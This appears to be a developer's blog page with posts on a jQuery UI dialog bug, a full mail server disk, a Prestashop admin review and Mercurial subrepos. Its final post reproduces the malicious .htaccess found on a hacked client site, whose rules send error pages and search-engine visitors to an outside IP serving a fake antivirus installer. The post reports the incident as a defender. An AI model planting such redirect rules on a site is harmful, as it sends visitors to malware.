❯~/pixelastic

Unresponding jQuery UI dialog box

As this is the second time I encounter this "issue", I think it may be clever to post it here. At least, I won't have to debug it all the down again next time.

In a nutshell, I was working on a complex UI that involve several layers of dialog boxes, each one on top of the previous one. Each new dialog box is supposed to offer the user something to do, and once it is done, the dialog box disapear and the user can get back to the previous one.

The "issues" I was having was after closing a specific window, I wasn't able to focus the previous one. I mean, the window was there, I was even able to update its fields using jQuery, but I couldn't focus it either using keyboard or mouse.

After some digging, it appears that I wasn't correctly "closing" the previous window. I was actually doing a .dialog('destroy') instead of a .dialog('close') and this was causing my issue.

Calling close hides the dialog box, but keep it in the DOM. That way if I ever need the same dialog box again, jQuery is smart enough to re-use it.

Calling destroy on the other hand actually remove the dialog box from the DOM, forcing jQuery to recreate it from scrath.

It appears that calling destroy in my case caused a strange lose of focus, so I reverted to close instead.

Why is my disk full?

Ok, so remember when I was writing about that client of mine who had trouble with its SquirelMail implementation. I thought it was a problem of SquirelMail having trouble dealing with large directories.

It was not exactly that, it more was a question of the IMAP server having issues with disk space. I made some backups of the mails, cleaned it up a little then everything went fine.

But suddenly today, the same SquirrelMail started acting funny, blocking some login attempt telling me that the IMAP server stopped responding, or displaying message list without subject nor owner.

Tired all of this, I decided (my client) to move its whole mail system to GMail, using the Google system, while keeping my clients domain name. To finish the registration process at Gmail, I had to put a googlehostedservice.html file online on the domain to prove that I am the owner and...

452 Transfer aborted.  No space left on device

Here is what the FTP server answered. What? No more space? But, but, but, but I just cleaned it all, deleting a whole 1Go log file. Wtf?

I connect to the server and got the list of the biggest files and directories by doing a:

find  /var -type f -ls | sort -k 7 -r -n | head -10

I found that the maillog was 1.1Go... I deleted it and hurry the Gmail activation process. Problem solved.

Quick overview of the Prestashop admin panel

One of my client wants to move an old osCommerce site to a new platform. osCommerce is really an old system, it does not handle plugins (you have to hack the core to add functionnality), has tablefull implementation and all the html and php code is mixed up.

I decided to move it to Prestashop. Why Prestashop? Well, obviously because there is not that much choice on the e-commerce open source website scene nowadays. The only other choice would have been Magento and from what I heard it is quite a pain to install and make it running.

For this project, I need to act very quickly and the new website should be up and running in a matter of weeks. I'll use either a free theme or buy one online, but I won't have time to involve a full design process in this. I'll also have to migrate the complete product, customer and image database from one system to the other.

That won't be an easy task but... well... I have to do it.

Anyway, before starting this whole progress I wanted to see what Prestashop really had to offer me. I read their full feature list and hell, I even went to there open presentation, here in Paris, when the v1.0 was realeased but from what I've seen it was a lot of talk, a lot of features a lot of everything but very little attention to the details.

Well, after testing the demo admin panel a little bit I can say that my first impression was correct. Prestashop seems to be able to do a lot of stuff, really. But the way it is presented to the user is far from optimal. There are a lot of little mistakes that make using the interface more difficult that it should be.

For example they are using icons to illustrate almost any action or link. But sometimes the icons do not have ANY link to the action. The icon for the "tags" section is a dark cloud, the icon for the search engines is a key is an arrow, they use the same icons for very different actions (editing a tab and paying with cheque). An icon is supposed to convey in a rapid and easy visual way what is text is about, but for Prestashop it is more like "What is that supposed to mean?"

SEO-friendly url are achieved through the use of .htaccess. Normal would you think? Well yep, usually. But Prestashop does that by generating a huge .htaccess (one line for each product) and mapping each product individually. I'm not really sure, and haven't run benchmarks on this but I guess it forces the server to parse the .htaccess file for each request and redirect to the correct page. It smells like a huge performance bottleneck for me, especially with a website using i18n and multiples urls.

I would have saved the "slug" of each product (in multiple languages if needed) in the database and accessed products only based on their id. Of course, I would have hooked every methods that is supposed to write an html link or any url to a special method that would create the correct url based on the id, slug and language.

They also use a default implementation of tinyMCE with a lot of useless options (like layers, html table, etc). They also have kept the default "insert image" implementation, asking for the image url instead of hooking a custom image upload script, much more useful.

I'll have to use that admin panel anyway. I just hop that I do not underestimate the time needed to move the shop to this platform.

Using nested subrepos with Mercurial and TortoiseHg

Nowadays, when I'm developping a new website, I almost always ended using parts and bits of the previous website I've done. All my websites are based on the same framework (cakePHP) that I have itself updated with its own CMS (Caracole, more on that later).

Caracole is made of several little plugins, each one of them focusing on a simple task (like handling 404 errors, adding a recycle bin, draftable elements, SEO-friendly url, and so on).

I've also updated each one of this plugins to BitBucket, allowing me to easily commit changes and clone new version from one project to another.

But very often, when working on a specific project, using a specific plugin I think that I can update the plugin (be it either by adding a new feature or fixing a bug I've discovered). In that case, I want my changes to be added to both the plugin (on BitBucket) and the project I'm working on at the moment.

To do that, I had to struggle my way with Mercurial because nested repositories (called subrepos) is not a trivial setup.

Setting up subrepo with Mercurial:

Let me show you the classical and easy way to achieve that:

First, let's say you have your main repo. You go in the directory where you want to add your subrepo and you either create it using hg init or hg clone.

You then go back to your main repo root and edit the .hgsub file (if you don't have this file yet, just create it). Add the following line to the .hgsub:

path/to/your/subrepo = path/to/your/subrepo

Now, on every subsequent commit Hg will be aware that your repo is holding a new subrepo. If you omit this line, Hg will not allow you to commit complaining about a repo inside an other repo.

You can now safely commit your main repo, or your subrepo independently.

Now, let's see the edge case.

Changing a classical sub directory into a subrepo

The classical example above is what you can find in the Mercurial help pages. It wasn't that helpful for me because my setup was a little different and it was causing Hg a lot of trouble.

I was not creating a new subrepo, nor cloning a new one. I had sub diretcory of my main app, that I wanted to change into a subrepo. My sub directory was named 'myplugin' and I had a repo of that name hosted on BitBucket.

So I tried to delete my existing 'myplugin' directory, and clone the 'myplugin' from BitBucket, edit the .hgsub and commit but Hg aborted the operation, complaining about the repo in repo file structure.

After a lot of testing, and [cry for help](http://stackoverflow.com/questions/2371330/what-is-the-correct-way-to- handle-nested-hg-repositories-with-mercurial-tortoiseh), I finally managed to get it to work. The workflow is almost the same, with one little new step.

Deleting the 'myplugin' folder wasn't enough. I had to tell Mercurial to completly remove this files from its index. Using TortoiseHg, I was able to do that by right clicking on the folder, and then choosing 'TortoiseHg > Remove Files'. Then I had to commit those changes, officially telling Mercurial to forget this files, and putting it in a state where those files aren't there at all.

Then only was I able to clone my repo from BitBucket, edit the .hgsub file and commit my main repo.

.htaccess hacked

Today a client called me telling me that its website was unavailable, or more exactly that the full content of the FTP was displayed instead of its homepage.

After a little investigation it appears that the .htaccess file had been modified, here was the content I found:

RewriteEngine On
ErrorDocument 400 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 401 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 403 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 404 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 500 http://217.23.5.232/hitin.php?land=20&affid=20116
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://217.23.5.232/hitin.php?land=20&affid=20116 [R=301,L]

A little search online told me that this IP refer to a malware website launching a fake Antivirus software installation.

I have no idea how the .htaccess got modified, but I changed the FTP password.